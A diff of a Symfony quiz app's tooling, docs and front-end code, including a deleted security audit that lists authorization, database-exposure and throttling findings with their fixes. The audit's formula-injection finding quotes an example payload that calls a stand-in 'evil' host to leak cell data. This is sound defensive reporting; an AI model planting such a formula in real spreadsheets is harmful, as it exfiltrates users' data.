- **PHPStan**: Level 8 with extensions for Doctrine and Symfony
|
- **PHPStan**: Level 8 with extensions for Doctrine and Symfony
|
||||||
- **Twig-CS-Fixer**: Template style enforcement
|
- **Twig-CS-Fixer**: Template style enforcement
|
||||||
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure —
|
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure — they throw exceptions instead
|
||||||
they throw exceptions instead
|
|
||||||
- **TypeScript (`assets/`)**: Compiled via `sensiolabs/typescript-bundle` (standalone SWC binary, no Node/npm).
|
|
||||||
Formatting, linting, type-checking, and tests use **Deno** (`deno fmt` / `deno lint` / `deno check` / `deno test`) —
|
|
||||||
a single standalone binary, kept dev-only (installed in the `frankenphp_dev` Docker stage, not prod), consistent
|
|
||||||
with the project's no-Node-anywhere approach. See `deno.json` for config; run via `just fix-ts` / `just check-ts` /
|
|
||||||
`just test-ts`. Tests live alongside their source as `*_test.ts` files
|
|
||||||
|
|
||||||
### Environment Configuration
|
### Environment Configuration
|
||||||
|
|
||||||
- `.env` - Local development defaults (uncommitted in .env.local)
|
- `.env` - Local development defaults (uncommitted in .env.local)
|
||||||
- `.env.dev` - Development overrides
|
- `.env.dev` - Development overrides
|
||||||
- `.env.test` - Test environment configuration
|
- `.env.test` - Test environment configuration
|
||||||
@@ -300,7 +169,6 @@ question counts as covered more than once).
|
|||||||
- `MAILER_SENDER` - From address for emails
|
- `MAILER_SENDER` - From address for emails
|
||||||
|
|
||||||
### Frontend Build
|
### Frontend Build
|
||||||
|
|
||||||
- Asset mapper (no Node.js/Webpack) for JS/CSS bundling; JS modules declared in `importmap.php`
|
- Asset mapper (no Node.js/Webpack) for JS/CSS bundling; JS modules declared in `importmap.php`
|
||||||
- **Stimulus** controllers in `assets/controllers/`, **Turbo** for SPA-like navigation
|
- **Stimulus** controllers in `assets/controllers/`, **Turbo** for SPA-like navigation
|
||||||
- Sass sources in `assets/styles/`, compiled via `bin/console sass:build`
|
- Sass sources in `assets/styles/`, compiled via `bin/console sass:build`
|
||||||
@@ -317,7 +185,6 @@ GitHub Actions workflow (`.github/workflows/ci.yml`):
|
|||||||
- Twig-CS-Fixer style check
|
- Twig-CS-Fixer style check
|
||||||
- PHPStan static analysis
|
- PHPStan static analysis
|
||||||
- Rector dry-run
|
- Rector dry-run
|
||||||
- Translation extraction check (fails if `translation:extract` produces uncommitted changes)
|
|
||||||
3. **Integration Tests**:
|
3. **Integration Tests**:
|
||||||
- Docker image build and start services
|
- Docker image build and start services
|
||||||
- Database creation and migration
|
- Database creation and migration
|
||||||
@@ -334,8 +201,7 @@ Runs on all pushes to main and pull requests. Concurrency cancels old runs on ne
|
|||||||
## Important Files & Conventions
|
## Important Files & Conventions
|
||||||
|
|
||||||
- **Kernel**: `src/Kernel.php` - Symfony kernel class
|
- **Kernel**: `src/Kernel.php` - Symfony kernel class
|
||||||
- **AbstractController**: Base class for all controllers — defines route parameter regexes (`SEASON_CODE_REGEX`,
|
- **AbstractController**: Base class for all controllers — defines route parameter regexes (`SEASON_CODE_REGEX`, `CANDIDATE_HASH_REGEX`) and flash helpers
|
||||||
`CANDIDATE_HASH_REGEX`) and flash helpers
|
|
||||||
- **Flash Messages**: Use `FlashType` enum instead of string literals
|
- **Flash Messages**: Use `FlashType` enum instead of string literals
|
||||||
- **QuizSpreadsheetService**: Handles importing quizzes from XLSX files
|
- **QuizSpreadsheetService**: Handles importing quizzes from XLSX files
|
||||||
- **Rector container**: `tests/symfony-container.php` — boots a test kernel so Rector can resolve Symfony service types
|
- **Rector container**: `tests/symfony-container.php` — boots a test kernel so Rector can resolve Symfony service types
|
||||||
@@ -354,7 +220,6 @@ Runs on all pushes to main and pull requests. Concurrency cancels old runs on ne
|
|||||||
## Composer Scripts
|
## Composer Scripts
|
||||||
|
|
||||||
Auto-executed scripts on install/update:
|
Auto-executed scripts on install/update:
|
||||||
|
|
||||||
- `cache:clear` - Symfony cache clear
|
- `cache:clear` - Symfony cache clear
|
||||||
- `assets:install` - Copy public assets
|
- `assets:install` - Copy public assets
|
||||||
- `importmap:install` - JS import map setup
|
- `importmap:install` - JS import map setup
|
||||||
@@ -373,5 +238,4 @@ When writing Dutch help content in `templates/backoffice/help/nl/`:
|
|||||||
- The backoffice elimination logic is in `Controller/Backoffice/PrepareEliminationController.php`
|
- The backoffice elimination logic is in `Controller/Backoffice/PrepareEliminationController.php`
|
||||||
- Quiz timing logic starts on candidate start click and stops on final answer selection
|
- Quiz timing logic starts on candidate start click and stops on final answer selection
|
||||||
- Background music feature noted but not yet implemented (requirements only)
|
- Background music feature noted but not yet implemented (requirements only)
|
||||||
- Statistics module (per-quiz statistics page, candidate accusation matrix, caching) is planned per GitHub issue #199 —
|
- Statistics functionality is marked TBD in README
|
||||||
see "Domain Context" above for why candidate-bound answers matter to it
|
|
||||||
|
|||||||
-11
@@ -62,18 +62,11 @@ ENV APP_ENV=dev XDEBUG_MODE=off
|
|||||||
# hadolint ignore=DL3008
|
# hadolint ignore=DL3008
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
bash-completion \
|
bash-completion \
|
||||||
unzip \
|
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console
|
COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console
|
||||||
COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer
|
COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer
|
||||||
|
|
||||||
# Deno: standalone binary (no Node/npm) used for TypeScript lint/format/type-check/test,
|
|
||||||
# dev-only tooling so it's not installed in the prod stage.
|
|
||||||
ENV DENO_INSTALL=/usr/local
|
|
||||||
# hadolint ignore=DL4006
|
|
||||||
RUN curl -fsSL https://deno.land/install.sh | sh -s v2.9.2
|
|
||||||
|
|
||||||
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
|
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
|
||||||
|
|
||||||
RUN set -eux; \
|
RUN set -eux; \
|
||||||
@@ -116,7 +109,3 @@ RUN set -eux; \
|
|||||||
bin/console sass:build; \
|
bin/console sass:build; \
|
||||||
bin/console asset-map:compile --no-debug --quiet --no-ansi; \
|
bin/console asset-map:compile --no-debug --quiet --no-ansi; \
|
||||||
sync;
|
sync;
|
||||||
|
|
||||||
# Build timestamp for /.well-known/security.txt Expires; must be injected last to avoid cache busting.
|
|
||||||
ARG BUILD_TIME=""
|
|
||||||
ENV BUILD_TIME=$BUILD_TIME
|
|
||||||
|
|||||||
@@ -1,94 +1,9 @@
|
|||||||
# Load per-worktree overrides (project name, image tag, ports) generated by `just init`
|
up *args:
|
||||||
set dotenv-load := true
|
|
||||||
set dotenv-filename := ".env.local"
|
|
||||||
|
|
||||||
# Generate a per-worktree COMPOSE_PROJECT_NAME, IMAGES_PREFIX and free host ports in .env.local,
|
|
||||||
# so multiple worktrees/checkouts of this repo can run `just up` at the same time without their
|
|
||||||
# containers, volumes, images or ports colliding. Also points CADDY_DATA_DIR at a location shared
|
|
||||||
# by all worktrees of the same clone, so they reuse one self-signed CA/cert instead of generating
|
|
||||||
# their own. Safe to re-run; no-ops if already configured.
|
|
||||||
init:
|
|
||||||
#!/usr/bin/env bash
|
|
||||||
set -euo pipefail
|
|
||||||
if [ -f .env.local ] && grep -q '^COMPOSE_PROJECT_NAME=' .env.local; then
|
|
||||||
if ! grep -q '^CADDY_DATA_DIR=' .env.local; then
|
|
||||||
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
|
|
||||||
echo "CADDY_DATA_DIR=${git_common_dir}/tvdt-caddy-data" >> .env.local
|
|
||||||
echo "Backfilled CADDY_DATA_DIR into existing .env.local."
|
|
||||||
fi
|
|
||||||
echo ".env.local already configured for this worktree, skipping (delete it to regenerate)."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
free_port() {
|
|
||||||
local port="$1" max="$2"
|
|
||||||
while [ "$port" -le "$max" ]; do
|
|
||||||
if ! (exec 3<>/dev/tcp/127.0.0.1/"$port") 2>/dev/null; then
|
|
||||||
echo "$port"
|
|
||||||
return
|
|
||||||
fi
|
|
||||||
exec 3>&- 2>/dev/null || true
|
|
||||||
port=$((port + 1))
|
|
||||||
done
|
|
||||||
echo "no free port found between $1 and $2" >&2
|
|
||||||
exit 1
|
|
||||||
}
|
|
||||||
if command -v sha1sum >/dev/null 2>&1; then
|
|
||||||
hash_cmd=(sha1sum)
|
|
||||||
elif command -v shasum >/dev/null 2>&1; then
|
|
||||||
hash_cmd=(shasum)
|
|
||||||
else
|
|
||||||
hash_cmd=(sha256sum)
|
|
||||||
fi
|
|
||||||
hash=$(pwd | "${hash_cmd[@]}" | cut -c1-8)
|
|
||||||
project="tvdt-${hash}"
|
|
||||||
http_port=$(free_port 8080 8179)
|
|
||||||
https_port=$(free_port 8443 8542)
|
|
||||||
postgres_port=$(free_port 5430 5529)
|
|
||||||
mailpit_port=$(free_port 8025 8124)
|
|
||||||
spotlight_port=$(free_port 8969 9068)
|
|
||||||
# .git is shared by all worktrees of the same clone, so anchoring the Caddy data dir
|
|
||||||
# (self-signed CA + TLS certs) there instead of under the worktree lets every worktree
|
|
||||||
# reuse the same CA, avoiding a fresh cert (and a fresh `just trust-cert`) per checkout.
|
|
||||||
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
|
|
||||||
caddy_data_dir="${git_common_dir}/tvdt-caddy-data"
|
|
||||||
{
|
|
||||||
echo "COMPOSE_PROJECT_NAME=${project}"
|
|
||||||
echo "IMAGES_PREFIX=${project}-"
|
|
||||||
echo "HTTP_PORT=${http_port}"
|
|
||||||
echo "HTTPS_PORT=${https_port}"
|
|
||||||
echo "POSTGRES_PORT=${postgres_port}"
|
|
||||||
echo "MAILPIT_PORT=${mailpit_port}"
|
|
||||||
echo "SPOTLIGHT_PORT=${spotlight_port}"
|
|
||||||
echo "CADDY_DATA_DIR=${caddy_data_dir}"
|
|
||||||
} >> .env.local
|
|
||||||
echo "Generated .env.local for this worktree:"
|
|
||||||
cat .env.local
|
|
||||||
|
|
||||||
up *args: init
|
|
||||||
#!/usr/bin/env bash
|
|
||||||
set -a
|
|
||||||
[ -f .env.local ] && source .env.local
|
|
||||||
set +a
|
|
||||||
docker compose up -d {{ args }}
|
docker compose up -d {{ args }}
|
||||||
|
|
||||||
down *args:
|
down *args:
|
||||||
docker compose down --remove-orphans {{ args }}
|
docker compose down --remove-orphans {{ args }}
|
||||||
|
|
||||||
# Show the URLs (and DB connection) assigned to this worktree (see `just init`)
|
|
||||||
ports:
|
|
||||||
#!/usr/bin/env bash
|
|
||||||
set -euo pipefail
|
|
||||||
if [ ! -f .env.local ]; then
|
|
||||||
echo "No .env.local yet, run 'just up' or 'just init' first."
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
set -a
|
|
||||||
source .env.local
|
|
||||||
set +a
|
|
||||||
echo "Tvdt: https://localhost:${HTTPS_PORT}"
|
|
||||||
echo "Mailpit: http://localhost:${MAILPIT_PORT}"
|
|
||||||
echo "Spotlight: http://localhost:${SPOTLIGHT_PORT}"
|
|
||||||
|
|
||||||
stop:
|
stop:
|
||||||
docker compose stop
|
docker compose stop
|
||||||
|
|
||||||
@@ -125,16 +40,6 @@ phpstan *args:
|
|||||||
test *args:
|
test *args:
|
||||||
docker compose exec php vendor/bin/phpunit {{ args }}
|
docker compose exec php vendor/bin/phpunit {{ args }}
|
||||||
|
|
||||||
fix-ts:
|
|
||||||
docker compose exec php deno fmt assets/
|
|
||||||
docker compose exec php deno lint --fix assets/
|
|
||||||
|
|
||||||
check-ts:
|
|
||||||
docker compose exec php deno check assets/
|
|
||||||
|
|
||||||
test-ts *args:
|
|
||||||
docker compose exec php deno test assets/ {{ args }}
|
|
||||||
|
|
||||||
[confirm]
|
[confirm]
|
||||||
clean:
|
clean:
|
||||||
docker compose down -v --remove-orphans
|
docker compose down -v --remove-orphans
|
||||||
@@ -151,13 +56,8 @@ install-hooks:
|
|||||||
chmod +x .githooks/pre-commit
|
chmod +x .githooks/pre-commit
|
||||||
@echo "Pre-commit hook installed."
|
@echo "Pre-commit hook installed."
|
||||||
|
|
||||||
trust-cert: init
|
trust-cert:
|
||||||
#!/usr/bin/env bash
|
|
||||||
set -euo pipefail
|
|
||||||
set -a
|
|
||||||
source .env.local
|
|
||||||
set +a
|
|
||||||
sudo security add-trusted-cer -d \
|
sudo security add-trusted-cer -d \
|
||||||
-r trustRoot \
|
-r trustRoot \
|
||||||
-k "$HOME/Library/Keychains/login.keychain" \
|
-k "$HOME/Library/Keychains/login.keychain" \
|
||||||
"${CADDY_DATA_DIR:-./frankenphp/data}/caddy/pki/authorities/local/root.crt"
|
./frankenphp/data/caddy/pki/authorities/local/root.crt
|
||||||
|
|||||||
@@ -25,13 +25,8 @@ just migrate # Run pending database migrations
|
|||||||
just fixtures # Load dev fixtures (truncates first)
|
just fixtures # Load dev fixtures (truncates first)
|
||||||
```
|
```
|
||||||
|
|
||||||
`just up` first runs `just init`, which generates a `.env.local` (gitignored)
|
The app is available at **https://localhost** (self-signed cert — run
|
||||||
with a unique `COMPOSE_PROJECT_NAME`, image tag and free host ports for this
|
`just trust-cert` on macOS to trust it).
|
||||||
checkout, so multiple worktrees/clones can run at the same time without their
|
|
||||||
containers, volumes, images or ports colliding. Run `just ports` to see the
|
|
||||||
ports assigned to the current checkout — the app is served at
|
|
||||||
`https://localhost:<HTTPS_PORT>` (self-signed cert — run `just trust-cert` on
|
|
||||||
macOS to trust it).
|
|
||||||
|
|
||||||
### Useful commands
|
### Useful commands
|
||||||
|
|
||||||
|
|||||||
@@ -1,104 +0,0 @@
|
|||||||
# Security Audit — Tijd voor de test
|
|
||||||
|
|
||||||
**Date:** 2026-07-12
|
|
||||||
**Branch:** `declare-ext-intl-ext-zip`
|
|
||||||
**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
| # | Severity | Finding | Location |
|
|
||||||
|---|----------|---------|----------|
|
|
||||||
| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
|
|
||||||
| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
|
|
||||||
| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
|
|
||||||
| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:17-29` |
|
|
||||||
| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
|
|
||||||
| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
|
|
||||||
| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
|
|
||||||
| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
|
|
||||||
| 9 | Low | Containers run as root | `Dockerfile` |
|
|
||||||
| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
|
|
||||||
| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
|
|
||||||
| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
|
|
||||||
|
|
||||||
**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## High
|
|
||||||
|
|
||||||
### 1. `PrepareEliminationController` has no authorization guard — FIXED
|
|
||||||
|
|
||||||
**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
|
|
||||||
|
|
||||||
The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
|
|
||||||
|
|
||||||
- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
|
|
||||||
- `index` (line 32) never checked that `$quiz` belonged to `$season`.
|
|
||||||
|
|
||||||
**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
|
|
||||||
|
|
||||||
**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
|
|
||||||
|
|
||||||
### 2. Production PostgreSQL published to host with default-password fallback
|
|
||||||
|
|
||||||
**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
|
|
||||||
|
|
||||||
- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
|
|
||||||
- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
|
|
||||||
|
|
||||||
**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
|
|
||||||
|
|
||||||
**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Medium
|
|
||||||
|
|
||||||
### 3. Spreadsheet formula injection in exports — FIXED
|
|
||||||
|
|
||||||
**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
|
|
||||||
|
|
||||||
All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
|
|
||||||
|
|
||||||
**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
|
|
||||||
|
|
||||||
**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
|
|
||||||
|
|
||||||
### 4. No login throttling / brute-force protection — FIXED
|
|
||||||
|
|
||||||
**File:** `config/packages/security.yaml:17-29`
|
|
||||||
|
|
||||||
`form_login` had no `login_throttling` and no rate limiter was configured anywhere. `/login` allowed unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) was likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
|
|
||||||
|
|
||||||
**Fix applied:**
|
|
||||||
- Added `symfony/rate-limiter` as a composer dependency and enabled `login_throttling` (`max_attempts: 5`) on the `main` firewall in `config/packages/security.yaml`, using Symfony's built-in per-user/global rate limiter.
|
|
||||||
- Added a dedicated `season_code` rate limiter (`framework.rate_limiter`, sliding window, 20 attempts/minute per IP) in `config/packages/framework.yaml`, enforced in `QuizController::selectSeason` — a `TooManyRequestsHttpException` (429) is thrown once the client IP exceeds the limit, before the season-code form is even validated.
|
|
||||||
- Both limiters have lower `when@test` overrides so tests run fast and deterministically.
|
|
||||||
- Regression tests added: `testLoginIsThrottledAfterTooManyFailedAttempts` (`tests/Controller/LoginControllerTest.php`) and `testSelectSeasonIsThrottledAfterTooManyAttempts` (`tests/Controller/QuizControllerTest.php`), both written first, confirmed failing against the old config, now passing.
|
|
||||||
|
|
||||||
### 5. Open self-registration grants immediate backoffice access
|
|
||||||
|
|
||||||
**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
|
|
||||||
|
|
||||||
Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
|
|
||||||
|
|
||||||
**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Low
|
|
||||||
|
|
||||||
- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
|
|
||||||
- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
|
|
||||||
- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
|
|
||||||
- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
|
|
||||||
- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
|
|
||||||
- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
|
|
||||||
- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Confirmed clean
|
|
||||||
|
|
||||||
No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).
|
|
||||||
@@ -1,16 +1,14 @@
|
|||||||
import 'bootstrap/dist/css/bootstrap.min.css';
|
import 'bootstrap/dist/css/bootstrap.min.css';
|
||||||
import 'bootstrap-icons/font/bootstrap-icons.min.css';
|
import 'bootstrap-icons/font/bootstrap-icons.min.css';
|
||||||
import './styles/backoffice.scss';
|
import './styles/backoffice.scss';
|
||||||
import '@hotwired/turbo';
|
import {session as turboSession} from '@hotwired/turbo';
|
||||||
import './stimulus.ts';
|
turboSession.drive = false;
|
||||||
import './bootstrap.ts';
|
import './stimulus.js';
|
||||||
|
import './bootstrap.js';
|
||||||
import * as Sentry from '@sentry/browser';
|
import * as Sentry from '@sentry/browser';
|
||||||
|
|
||||||
const dsn = document.querySelector<HTMLMetaElement>('meta[name="sentry-dsn"]')
|
const dsn = document.querySelector('meta[name="sentry-dsn"]')?.content ?? '';
|
||||||
?.content ?? '';
|
const userEmail = document.querySelector('meta[name="user-email"]')?.content ?? '';
|
||||||
const userEmail =
|
|
||||||
document.querySelector<HTMLMetaElement>('meta[name="user-email"]')
|
|
||||||
?.content ?? '';
|
|
||||||
|
|
||||||
// When no real DSN is configured, route to the local Spotlight sidecar so
|
// When no real DSN is configured, route to the local Spotlight sidecar so
|
||||||
// nothing reaches Sentry. A syntactically valid DSN is still required for the
|
// nothing reaches Sentry. A syntactically valid DSN is still required for the
|
||||||
Vendored
+1
@@ -0,0 +1 @@
|
|||||||
|
import * as bootstrap from 'bootstrap'
|
||||||
@@ -1 +0,0 @@
|
|||||||
import 'bootstrap';
|
|
||||||
@@ -0,0 +1,135 @@
|
|||||||
|
import {Controller} from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['collection'];
|
||||||
|
static values = {prototype: String};
|
||||||
|
|
||||||
|
connect() {
|
||||||
|
this.index = this.collectionTarget.children.length;
|
||||||
|
this._setupDrag();
|
||||||
|
this._syncOrdering();
|
||||||
|
|
||||||
|
if (this.index === 0) {
|
||||||
|
this.addItem();
|
||||||
|
}
|
||||||
|
|
||||||
|
this.collectionTarget.addEventListener('input', (e) => {
|
||||||
|
if (e.target.type !== 'text') return;
|
||||||
|
const item = e.target.closest('[data-collection-item]');
|
||||||
|
const last = [...this.collectionTarget.children].at(-1);
|
||||||
|
if (item && item === last && e.target.value.trim() !== '') {
|
||||||
|
this.addItem();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const form = this.element.closest('form');
|
||||||
|
if (form) {
|
||||||
|
form.addEventListener('submit', () => {
|
||||||
|
[...this.collectionTarget.children].forEach(item => {
|
||||||
|
const input = item.querySelector('input[type="text"]');
|
||||||
|
if (input && input.value.trim() === '') item.remove();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
addItem() {
|
||||||
|
const item = document.createElement('div');
|
||||||
|
item.innerHTML = this.prototypeValue.replace(/__name__/g, this.index);
|
||||||
|
const el = item.firstElementChild;
|
||||||
|
this.collectionTarget.appendChild(el);
|
||||||
|
this._makeDraggable(el);
|
||||||
|
this.index++;
|
||||||
|
this._syncOrdering();
|
||||||
|
}
|
||||||
|
|
||||||
|
removeItem(event) {
|
||||||
|
event.target.closest('[data-collection-item]').remove();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
sortAlphabetically() {
|
||||||
|
const items = [...this.collectionTarget.children];
|
||||||
|
items.sort((a, b) => {
|
||||||
|
const textA = (a.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
|
||||||
|
const textB = (b.querySelector('input[type="text"]')?.value ?? '').toLowerCase();
|
||||||
|
return textA.localeCompare(textB);
|
||||||
|
});
|
||||||
|
items.forEach(item => this.collectionTarget.appendChild(item));
|
||||||
|
this._syncOrdering();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
randomize() {
|
||||||
|
const items = [...this.collectionTarget.children];
|
||||||
|
for (let i = items.length - 1; i > 0; i--) {
|
||||||
|
const j = Math.floor(Math.random() * (i + 1));
|
||||||
|
[items[i], items[j]] = [items[j], items[i]];
|
||||||
|
}
|
||||||
|
items.forEach(item => this.collectionTarget.appendChild(item));
|
||||||
|
this._syncOrdering();
|
||||||
|
this._notifyChange();
|
||||||
|
}
|
||||||
|
|
||||||
|
_notifyChange() {
|
||||||
|
this.element.dispatchEvent(new Event('change', {bubbles: true}));
|
||||||
|
}
|
||||||
|
|
||||||
|
// — drag-and-drop —
|
||||||
|
|
||||||
|
_setupDrag() {
|
||||||
|
[...this.collectionTarget.children].forEach(el => this._makeDraggable(el));
|
||||||
|
}
|
||||||
|
|
||||||
|
_makeDraggable(el) {
|
||||||
|
const handle = el.querySelector('[data-drag-handle]');
|
||||||
|
if (!handle) return;
|
||||||
|
|
||||||
|
handle.setAttribute('draggable', 'true');
|
||||||
|
|
||||||
|
handle.addEventListener('dragstart', (e) => {
|
||||||
|
this._dragging = el;
|
||||||
|
el.classList.add('opacity-50');
|
||||||
|
e.dataTransfer.effectAllowed = 'move';
|
||||||
|
});
|
||||||
|
|
||||||
|
handle.addEventListener('dragend', () => {
|
||||||
|
this._dragging = null;
|
||||||
|
el.classList.remove('opacity-50');
|
||||||
|
this.collectionTarget.querySelectorAll('[data-collection-item]').forEach(i => i.classList.remove('border-top', 'border-bottom', 'border-primary'));
|
||||||
|
});
|
||||||
|
|
||||||
|
el.addEventListener('dragover', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
if (!this._dragging || this._dragging === el) return;
|
||||||
|
e.dataTransfer.dropEffect = 'move';
|
||||||
|
const rect = el.getBoundingClientRect();
|
||||||
|
const isBottom = e.clientY > rect.top + rect.height / 2;
|
||||||
|
el.classList.toggle('border-top', !isBottom);
|
||||||
|
el.classList.toggle('border-bottom', isBottom);
|
||||||
|
el.classList.add('border-primary');
|
||||||
|
});
|
||||||
|
|
||||||
|
el.addEventListener('dragleave', () => {
|
||||||
|
el.classList.remove('border-top', 'border-bottom', 'border-primary');
|
||||||
|
});
|
||||||
|
|
||||||
|
el.addEventListener('drop', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
el.classList.remove('border-top', 'border-bottom', 'border-primary');
|
||||||
|
if (!this._dragging || this._dragging === el) return;
|
||||||
|
const rect = el.getBoundingClientRect();
|
||||||
|
const isBottom = e.clientY > rect.top + rect.height / 2;
|
||||||
|
this.collectionTarget.insertBefore(this._dragging, isBottom ? el.nextSibling : el);
|
||||||
|
this._syncOrdering();
|
||||||
|
